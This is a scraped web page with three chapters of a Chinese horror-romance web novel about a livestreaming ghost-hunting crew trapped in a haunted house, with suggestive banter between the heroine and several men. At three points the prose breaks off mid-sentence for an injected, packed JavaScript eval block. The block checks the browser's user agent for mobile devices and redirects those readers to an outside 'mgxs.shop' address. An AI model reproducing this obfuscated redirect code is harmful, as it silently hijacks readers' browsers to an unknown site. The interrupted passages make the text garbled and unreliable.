她对自己那个“炮灰花瓶”的网上风评还是有点数的。 谷弘没说什么，直接点开了最新发布的预告片。视频从他们进入宅子，与房东交谈开始。 16.??凶宅之爱?? 沈成济的直播频道一直是网上最火热的灵异探险节目。不仅仅是因为他们有梗、节目效果一个接一个，更重要的是，他们打得就是“纯真实”“敢玩敢去”的噱头，不搞什么血浆摄影棚，从来都是跑到各大无人敢去的灵异圣地实景拍摄，这种地方天生就是流量圣体，哪怕做个PPT视频讲讲过去都能吸睛无数。更别提像他们这样实地拍摄的了。 当然，很多人不敢说，他们这个团队这样火，还有另一个更重要的原因—— 他们团队里那个笨笨的漂亮女孩。又笨，又作，还老是一惊一乍地尖叫，像恐怖片里无脑尖叫的漂亮花瓶，让人血压升高。 不过，有人讨厌就有人喜欢，作为这个灵异探险团队里唯一的女孩儿，姜眠向来是粉黑无数，这次的预告视频一发布，底下的评论区当然也不例外，吵架的人已经堆起几千楼了。 看到评论区又开始吵架，路人摇了摇头，直接点进了视频。 开头还是老样子。那个叫姜眠的作精又开始了，穿着条白裙子，亦步亦趋地跟在沈成济后面。 弹幕已经开始刷了： 【来了来了，姜作精今日份表演开始。】 【啧，怎么不穿以前那种暴露小太妹装了？这期换清纯好嫁风了？】 【呵呵，真温柔可爱的女人可不会撑不过三分钟就开始尖叫。】 作为一个路人，对姜眠本来没什么感觉的。 他们本来就是因为喜欢灵异视频才关注沈成济的频道的，姜眠对他们来说也就是个比较面熟的主播，谈不上喜欢或者讨厌，只是看到这些弹幕比起其他人、甚至比起视频里的沈成济他们还要更关注姜眠换的新衣服和新风格，还是觉得很搞笑。 要不说恨到深处自然爱呢。 不过，他们对姜眠也没什么好感就是了。 一个没脑子还一惊一乍的女人而已，虽然谈不上讨厌，但也绝对不会喜欢。 他们本来是这样想的。 然后打开视频就看到，摇摇晃晃的昏暗光线里，突然地，姜眠像是被什么吓到了，猛地一把抱住旁边沈成济的手臂，整个人都快贴到他身上去了。 卧槽。 这一下抱得结结实实，镜头拉得近，能清楚地看到她纤细的手指死死攥着沈成济的袖子，指节都泛白了。她仰着脸看沈成济，眼睛在昏暗的光线下显得特别亮，湿漉漉的，像是受了天大委屈的小动物。 【等等……这表情不太对劲啊？】 【她好像真的在发抖？】 【呵呵好久不见演技有精进啊】 【楼上的你住嘴，到底是真怕假怕朕自有安排】 【演的怎么了她愿意为朕费心就好】 视频里，女孩儿抱着沈成济的手臂不安分地蹭了蹭，柔软的身体曲线紧紧贴着他。那节白皙的手臂陷进他胳膊里，被挤压出一点柔软的弧度。 隔着屏幕都能感觉到她身上的热气，还有那种又怕又依赖的劲儿。 【艹，我居然觉得有点……】 【这姿势是不是太近了点？】 【她胸口都快贴上去了吧？心机！】 黑暗中，姜眠小声嘟囔了句什么，听不清晰，却能听到她的声音又轻又软，带着点颤音，像是在抱怨，又像是在撒娇。明明之前觉得她做作得要死，这会儿看着她微微发红的眼角，还有那副恨不得整个人挂在他身上的样子，突然就骂不出口了。 看着屏幕上女孩儿紧紧抱着沈成济手臂，微微发抖却又不肯松手的样子，屏幕前的人，突然觉得喉咙有点干。之前不是最烦她这种倒贴的样子吗？怎么今天看着……完全讨厌不起来了？ 反而觉得，她这副又怂又娇，可怜巴巴往人身上贴的模样，有点要命。 镜头忽然黑了一下，一节白生生的手臂挡住了镜头的上半部分，只露出女孩儿小巧可爱的鼻尖，柔软红润的嘴唇，还有她伸手出去的那一句“沈成济——！” 屏幕骤然黑掉了。 与此同时，比之前更多的弹幕像是潮水一般淹没了视频—— 【爹的，突然理解沈成济了。】 【这谁顶得住啊……求老婆对我心机教程】 【那沈成济被抱得明白吗？不明白换我来！】 【我承认之前是我说话声音太大声了，所以老婆我们还会有未来吗QAQ】 【下次视频什么时候发？下次视频什么时候发？】 【博主求更新】 …… 屏幕黑掉，映出了屏幕这一头，姜眠和其他三个人挤在一起的脸。 四人面面相觑，姜眠本来想说什么，可还没等她说什么，门外，忽然响起了一阵突兀的敲门声。 “咚咚咚。” 不紧不慢地三下敲门上，在寂静的屋里不断回荡，让人心头一紧。 姜眠吓得一个激灵，脑海中闪过无数开门杀的恐怖片片段，后背瞬间冒出一层细密的冷汗。 “谁？”沈成济最先反应过来，压低声音问道，警惕地看向门口。 门外传来房东李叔那熟悉的声音，语气听起来有些紧张：“沈同学，是我。我收到你的消息，来找你了！你开门吧。” 沈成济和谷弘交换了一个眼神，谨慎地打开了门。 门外站着房东和他儿子，两人脸上带着恰到好处地惊慌，在他们开门之后，就迫不及待地挤进了房间里。 “快快快，让我们进来！”房东搓着手说，“有什么事我们进门再说，外面…啧！” 沈成济见是他们，不由得又惊又喜，但朝他们身后看去，身后却依然是那一片被迷雾笼罩的花园，通向外界的路依然笼罩在雾气之中。 房东不由分说地带着他身后的两人挤进了屋子里，众人一瞧，两个熟人，一个陌生人。熟人自然不必说，就是房东李叔和他的儿子，但那个陌生人就引人注目了—— 那人看起来非常年轻，大概十七八岁，身姿挺拔，穿着简单的T恤和工装裤，看起来是那种很开朗热情的人。 他长相极其英俊，眉眼深邃，鼻梁高挺，唇角天然带着微微上扬的弧度，仿佛随时都噙着一缕阳光。然而，与他整体阳光俊朗的气质形成鲜明对比的，是他的一只眼睛——那只左眼灰蒙蒙的，没有一丝光亮，像是蒙着一层永远化不开的雾，看起来……竟然像是尸体上失去神采的眼睛似的。 “可算找到你们了。”房东李叔反手关上门，语气还算镇定，“收到你消息说被困住了，我就知道肯定是‘那个’又闹腾了。”他看了一眼窗外弥漫的白雾，叹了口气，“果然，一进来就成这样了。这地方，邪性得很。” 他的反应太过平静，反而让沈成济等人有些意外。 “李叔，你们是怎么进来的？”柳缙忍不住开口。 房东说：“就是正常走进来的。我们从外面看的时候，这里还跟之前一样，还以为你们发消息骗我，又想弄什么节目效果！但一进来，我们就发现路和外面的世界都消失了。” “不过，别担心，”房东摆了摆手，指向身后的年轻男人，语气里带着明显的信赖，“这位是陈屿，陈先生。别看他年轻，是真有本事的大师。上次我也在这个屋里遇到了……那个。后来能平安搬出去，多亏了他做了法事。” 法事？听起来像是什么骗人的跳大神，真的能信吗？众人都半信半疑。更何况，这位“陈大师”看起来也太年轻了。 他看起来不像是人们刻板印象里那种中年蓄胡须的道长大仙，反而像是……一个高中学生？ 那位名叫陈屿的年轻男人见他们面露怀疑，也不在意。 他目光在屋内扫过，最后落在了脸色发白的姜眠身上，在她脸上停留片刻，随即露出了一个笑容。 那笑容很灿烂，露出洁白的牙齿，瞬间冲淡了他身上那点因眼睛而产生的诡异感，显得格外阳光，甚至有点像大学校园里最受欢迎的那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16734562|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学长，让人不自觉心生好感。 可姜眠却被他看得心里发毛，下意识地往后缩了缩。 不知为何，姜眠觉得这个男人有些眼熟，似乎在哪里见过。可是…在哪里见过呢？她不记得了。她来到这个恐怖片里，总共也就见过屋子里这五个人，哪里还见过其他人？ 这熟悉感，又是从何而来的呢？ “这位……姜眠小姐？我见过你，在你们的探险视频里。”陈屿笑了笑，目光一瞬不瞬地盯着姜眠，他笑起来显得开朗又热情，与他阳光的外表很相称，但说出的话却让人心底一寒，“你被这里的‘东西’盯上了，而且，它对你很感兴趣。” “什么意思？”姜眠抿着唇问。 “意思就是。”陈屿笑容灿烂，说出来的话却毫不客气，“这屋里的鬼看上你了，想娶你当老婆，想亲你的嘴，想让你揣着他的鬼精，永远把你困在……” “住嘴！”沈成济厉声呵止。 他说得这么直白，语气这么恶劣，众人都有些傻眼。姜眠感觉全身的血液都往脸颊涌去，脸有些发烫。 陈屿脸上露出了一些遗憾的表情，但也听话地停住了嘴。 “你……你凭什么这么说？”姜眠抿着唇。 陈屿看着她这副明明怕得要命却还要硬撑的样子，脸上的笑容加深了些，阳光透过窗户在他侧脸投下光影，让他整个人看起来更加耀眼，也使得那只灰白的毫无神采的眼睛愈发诡异。 “气味。”他指了指自己异常的眼睛，语气依旧温和，却带着不容置疑的笃定，“它在你身上留下的‘标记’气息很重，你浑身上下都是它的味道了，哦，我想想，你肯定已经被他摁在墙上，像狗舔食一样舔过了吧？” 他笑着说完，也没等姜眠回应，动作自然地脱下自己那件质地不错的浅灰色薄外套，递向姜眠：“穿我这个，盖盖气味吧。” 姜眠看着那件外套，又看向陈屿那张英俊得过分的脸和那只颜色奇怪的眼睛，心跳快得像是要冲出胸膛。 他太恶劣，姜眠一点儿都不想听他的。然而还没来得及拒绝，那双手重重地压在她的肩膀上，不由分说地把外套盖在了她身上。 她下意识地摸向口袋里的场记板，偷偷低头瞥了一眼—— 场记板上的信息居然变了！ 【片名：凶宅】 【场号：013】 【导演：姜眠】 【男主角：陈屿】 ……等等，男主角变了！ 也就是说……现在这个屋子里，最强的人是陈屿。他不是什么骗人的大师，是有真材实料的。 “……哼，穿就穿。”好吧，姜眠只花了一秒钟的时间就接受了这个事实。 宽大的外套几乎将她整个人都裹住了，衣摆长到大腿，袖子盖过指尖，显得她更加娇小无助。 本来就是夏天，屋子没有空调，热得不行，没一会儿，密闭的空间和内心的紧张就让她鼻尖冒出了细小的汗珠。 “……接下来呢？”姜眠问。虽然她听从了陈屿的方法，因为觉得对方实在太恶劣，所以也没什么好脸色。加上天气实在太热，颐指气使地道，“你该带我们离开了吧？” 陈屿松开手，神态自若地看了看身后的几人，又看了看通向二楼的楼梯。 现在是下午，太阳还没有下山，窗外阳光正好，即使屋里没有灯，也把整个大厅照得亮堂堂的。 但一整个二楼却仿佛被掩盖在阴影中，连灿烂的阳光也无法透进一丝丝光亮。 陈屿泰然自若地道：“我上楼去看看。” 房东李叔这时候跳出来说：“大师！大师，您这是要像上次一样做法事？那我们……？” “嗯。”陈屿‘大师’淡定地点点头，“你们在这里等我。” ——听起来，倒真像是胜券在握、从容不迫的大师。 于是，在众人半信半疑的目光中，陈屿走上了楼梯。 17.《凶宅之爱》 “大师”陈屿离开后，客厅里一时陷入了沉默，只有窗外诡异的白雾无声地翻滚着。 见沈成济等人还是将信将疑，李叔搓了搓手，主动打破了沉寂，跟他们搭话道：“我知道，光凭我一张嘴说，你们可能不信。但陈大师他真的不一样。” 他顿了顿，似乎在组织语言，“当初我请他来的时候，他根本不是咱们这儿的人，可一进门，都没用我多说什么，他就直接说出了这房子里发生过的事，谁死在哪里，哪里怨气最重，说得清清楚楚、明明白白。” 沈成济皱了皱眉，提出合理的怀疑：“李叔，这栋房子的凶杀案很有名，这些细节在网上不算秘密，稍微查一下都能知道。” 李叔却摇了摇头，脸上露出一丝神秘的表情，他压低声音，像是怕被什么听见：“网上说的，跟大师说的，可不是一回事。” 他环顾了一下四周，目光在空旷的大厅里扫过，声音更低了，“大家都知道那一家三口是灭门惨案，警察的案卷和网上的传言，都说他们是在二楼主卧被杀，然后在浴室分的尸，对吧？” 众人点了点头，这是他们之前了解到的信息。 “但大师那天只看了一眼，就非常肯定地说，”李叔深吸一口气，沉声道，“第一现场，不是主卧，是这里——就是这个大厅！” 姜眠的眼皮猛地一跳，等等。 大厅……梦里那个温馨的、充斥着饭菜香和谈笑声，最后被一声惨叫撕裂的地方……不就是大厅吗？ 沈成济敏锐地捕捉到姜眠瞬间变化的脸色，他看了她一眼，故意对房东李叔说：“可是我还是更相信警察。如果他的说法跟警方的对不上，岂不是更假了？” 李叔苦笑了一下，指了指脚下：“因为我住在这里的时候，感觉最不对劲、‘动静’最大的，就是这一楼大厅，其次才是二楼。后来我实在受不了了，请大师来做过法事之后，一楼就再也没出过怪事，反而……二楼开始不太平了。” 他看向通往二楼的楼梯，眼神里带着敬畏，“所以我觉得，大师现在上楼，肯定是去解决二楼那个‘根源’了。等他处理完，这雾肯定就散了，咱们就能出去了。” 他说得笃定，脸上带着全然的期盼和信任。 姜眠看着房东那毫不怀疑的样子，轻轻扯了扯旁边沈成济的衣袖，声音压得低低的，带着点不易察觉的央求：“沈成济，我有点不舒服，你陪我去书房拿点东西吧？” 沈成济先是为她反常的态度愣了一下，低头对上她的视线，看到她眼底的紧张和暗示，立刻明白了她是有话要说。他不动声色地“嗯”了一声，随即看向谷弘：“谷弘，你也一起。” “喂喂，你们干嘛去？别想甩下我啊！”柳缙虽然不明所以，但见他们都要走，也立刻嚷嚷着跟上。 最后，四个人一起挤进了相对狭小的书房。沈成济反手关上门，隔绝了客厅的视线，疑惑道：“姜眠？” 姜眠拢着毛衣外套，擦了一把汗，背靠着冰冷的墙壁，深吸了一口气，先问了一个问题：“你们……相信房东说的话吗？” 柳缙挠了挠头：“听着是挺玄乎的，但他说得有理有据，挺像回事的。而且他自己和他儿子也困在这儿了，没必要骗我们吧？” 谷弘却抱着手臂，靠在书桌旁，冷静地吐出三个字：“不相信。” 沈成济沉吟着，没有立刻表态，目光落在姜眠身上，等着她的下文。 姜眠舔了舔有些发干的嘴唇，声音带着点微颤：“我……我倒是觉得可以信他。” “为什么？”沈成济问。 “因为他说的事情……跟我昨晚梦到的，一模一样。”姜眠的声音低了下去，带着一种回忆噩梦的不安。 她顿了顿，把自己昨天晚上梦到的事情，详细地讲了一遍。 她讲得很细，那种身临其境的恐惧感透过她微微发抖的声线传递出来，让书房里的空气都变得有些粘稠窒息。 当她说完，书房里陷入了一片寂静。 沈成济沉思片刻，又问了她几个细节，比如梦里房子的布局、一些装饰品的摆放，这些都是他之前查阅资料时看到的，属于这栋房子原貌的和这家人之间的关系的，不那么广为人知的描述。 姜眠都一一答了上来，虽然有些地方因为梦境模糊记不真切，但大方向完全吻合。 这下，连最初持怀疑态度的沈成济眼神都变得凝重起来，柳缙更是张大了嘴巴，一脸难以置信。 沉默再次降临。事实摆在眼前，由不得他们不信。房东的话，似乎是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16740277|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 沈成济最终做了决定，他吐出一口气，打破了沉默：“现在这种情况，我们也没有更好的选择。既然大师已经上去了，我们不如就先按照房东说的，静观其变。但是，”他顿了顿，目光扫过三人，语气严肃，“大家都警醒点。” 他们天平已经在这样准确地叙述下不由得偏向了房东那边，不管他们嘴上信不信，但看表情，心里已经信了七八分。 姜眠更是如此。不仅是因为那个梦境，更是因为……系统给的金手指上写着，现在最强的人就是那位陈屿，信他，准没错。 嗯……既然这样的话，要不要试着跟着他走看看呢？呃……但是他看起来有点恶劣。 姜眠那一点娇气和傲气，不合时宜地发作。 但这部片可是很恐怖的！所以她又怂了一下。 或许是她纠结的表情太明显，引得准备离开的三人都看过来。 “怎么了？”沈成济停下动作，回头看她。 姜眠还沉浸在自己的思考里，骤然被打断，她想也不想就嘟囔出声：“虽然那个臭男人看起来是很有一手啦，但他真的好烦人，我真的要听他的，穿这个衣服吗？” 她说着，下意识地拢了拢身上那件过于宽大的男性外套，动作间带着点不情愿的别扭。 声音也娇里娇气的。 “……”沈成济明显是忍不住有点想笑的样子，轻咳了一声附和道，“确实。说话也太没轻没重了。” 姜眠“哼”了一声，矜持地说：“但他看起来很厉害的样子诶，所以我也不是不能勉为其难地穿一下他的衣服。” 抱大腿嘛……在恐怖片里，不寒碜！她在心里给自己打气。 她说着，拢了一下身上过于宽大的毛衣。挺着小胸膛，显然一副“我很大度”“我不跟他计较”的样子。 却不知道自己在别人眼里是什么样子的。 明明遇上了鬼就怕得发抖，又弱，又可怜，被人披上衣服也不会反抗，在人后，又理直气壮地骂对方是“臭男人”。 偏偏穿着“臭男人”的衣服，又宽又大，体型差明显，整个人都被裹在衣服里，浑身上下都被“臭男人”的气息包围了，还一副洋洋得意的样子。 就很有点，小人得志的意味。 18.《凶宅之爱》 可这种表情出现在她的脸上，却并不让人觉得厌烦，反而……让人觉得理当如此。 毕竟，在场的所有人里，应该没人想为陈屿说话。 而且姜眠这样，也真的很可爱。像披着狼皮狐假虎威的小绵羊，皮毛柔软雪白，翻着肚皮还嘟嘟囔囔。 沈成济失笑，但一直站在一旁沉默地看着他们的谷弘却忽然皱着眉说了一句：“最好还是别穿他的衣服。” “为什么？” “……”谷弘语塞了一下，侧过头去，“总之我觉得很不好。如果要穿的话，不如穿我的。” 说着，他居然真的脱下了穿在外面的薄外套，递过来。 姜眠看了他一眼，拒绝得干脆利落：“不要。” “为什么？”这回轮到谷弘问为什么了。 姜眠哼哼唧唧地说：“你的外套又没有用。” “说不定有用呢？”一向冷若冰霜，恨不得用一个“嗯”字回复全世界的男人此刻却出人意料地耐心起来，解释道，“他说外套只是用来遮蔽气味的，既然这样的话，用谁的也没有区别吧。” 难道见到他这样长篇大论，但此话一出，在场的几个人都顾不上惊诧，灼热的视线纷纷看向了姜眠。 既然姜眠这么讨厌陈屿，那换成其他人的外套……也很正常吧？ 姜眠也愣了一下：“对哦。” 有道理！ 姜眠皱着眉，费力地纠结了一会儿。 半晌，谨慎地在三人灼灼的视线里说：“不行，我还是穿他的吧。” “为什么？”沈成济连外套都脱下来了，闻言很是失望。 姜眠扬着眉，用眼风不轻不重地扫了他们一眼，理所当然地说：“当然是因为他比你们都要厉害，是最强的啊。” 狭小的书房寂静了半刻钟，谷弘哑着声问：“所以只要是最强就可以——让你换衣服？” “当然了。”姜眠想也不想就说。她本来想骂这群人在这里杵着干嘛呢，“说什么废话啊，还有没有要说的，没有的话先出去，这里很热啊。” 抬眼一看，却见三人不约而同地靠近，身影沉沉地压过来，把她挤在墙上。 现在是初夏，早上气温还算凉快，还能穿一下薄外套，到了中午，早就已经热得走两步就出汗了，虽然这鬼宅里不知道为什么很阴凉，但也不是能穿毛衣外套的季节。 而且面前这三个二十来岁的男生，正是年轻气盛的年龄，即使什么都不干，光站在那儿，浑身上下散发出来的热气也沉沉地压着人。 姜眠早就出汗了，潮红的鼻尖渗出大颗的汗珠，淋漓的香汗把鬓发都濡湿了，刘海也湿哒哒地黏在脸上，嘴巴微红，手掌用力地扇着风，小口小口的喘息，看起来又可怜，又好欺负。 她抬眼，被热气熏红的眼睛没什么气势地瞪着面前的人：“干嘛，很热诶。” “……热就脱掉。”沈成济的声音有点哑说，“别穿了。” …… “不要。”姜眠拒绝得干脆利落。 她流着汗，也拢着毛衣外套，掐着腰理直气壮地说：“你们想害死我吗？万一我被鬼抓走怎么办？” “那我来救你。”沈成济哄着说，“放心吧，我绝对来救你。” “哼哼，就你。”姜眠上下扫视着他。目光充满了怀疑，“就你作死那个劲儿，不让我去救你就不错啦。” 像沈成济这种作死的角色，一般在恐怖片里都是第一个死的。 她伸出手指，戳了戳沈成济，没使劲却把他戳得踉跄了一下。 这也太弱了吧。肌肉都是摆设吗？之前不是说他是最强吗？就这样而已？ 姜眠得意洋洋地哼道：“还是让你放心吧，我肯定会去救你的。” 看着她得意洋洋的小模样，沈成济目光闪烁，不依不饶地问：“那要是真需要你救，你怎么救？” 姜眠莫名其妙地看着他，这还要问个为什么？当然是到时候再看啦。她有点不耐烦地道：“你话很多诶。” “那当然得问清楚了。”沈成济说，“不然我怎么知道你这个小白眼狼会不会丢下我跑路？就像……昨天晚上，明明说好了要跟我一起睡，临到头又把我抛下一样。” 姜眠顿了一下，有些心虚。 沈成济又慢悠悠地说：“再说了，有人今天早上还哄我说只要我保护她，就跟我睡一块儿，谁知道她会不会刚许诺完，见到别的更强的人，又反悔去跟别人睡。” 姜眠更加心虚了。沈成济怎么知道她是这么想的？反正沈成济又不喜欢她，她感觉自己没必要抱着沈成济不放，在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16741772|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵树上吊死。 不过嘛…… 姜眠自认自己也不是那种恐怖片里会抛弃同伴的炮灰，虽然系统说面前这三个人没一个喜欢她，但她可是很讲义气的女人！跟那些小心眼的男人不一样，她总不会真的见死不救。 她上下打量了沈成济一眼，肚子里那一点儿小心思又开始冒头了。 沈成济都能收她的利息，现在是沈成济求她保护，她为什么不能收沈成济的利息？ 她伸出一只手按住沈成济靠得过于近的脸，汗湿的指尖在他的脸上留下两个湿漉漉的指印。 得意洋洋地说：“那你也要给我上交保护费才行。” 沈成济被她的手指轻而易举地按得偏过头去，过于硬朗的脸颊上挤出一团肉来，声音也挤成一团，但听起来却是很有兴趣的样子：“保护费？你要什么？” “嗯……”姜眠很认真地开始思考。 “什么保护费？我也交。”柳缙也很感兴趣地凑过一张脸来。“也保护保护我呗？” 姜眠伸出另一只手摁他的脸。 幸好谷弘只是站在面前，垂着纤长的眼睫，没什么表情地安安静静地看着她，没有把脸凑过来，不然姜眠真没有第三只手摁他了。 她思考了一会儿，沈成济就迫不及待地问：“想好了吗？” “没有。”姜眠挥了挥手，“别急啊，你让我仔细想想……哼，快说，你们是不是都讨厌我？” “你哪里听来的？”沈成济叫冤，“哪里有这种事情……呃。” 被姜眠黑白分明的眼睛一盯，沈成济也感觉到有些心虚。 在昨天之前，其实他们都…… “哼哼……”姜眠得意洋洋地，像是终于抓到了他的尾巴，黑白分明的眼睛转了转，拉出一个恶劣的笑容，一副要出坏主意的表情，却毫不掩饰自己的意图，坏都坏得明明白白。 “既然你们都那么讨厌我……”她哼笑着，掐住沈成济脸颊的手指戳在他的嘴唇旁边碾了碾，带出一道湿漉漉的白印子。“帮我舔干净。” 她手上也全是汗，黏糊糊的，很难受。 沈成济一下子被她用力的指尖戳得偏过了脸去，看不清楚表情。 ——一定很生气吧？像狗一样舔讨厌的人的指尖。一定很羞耻、很愤怒吧？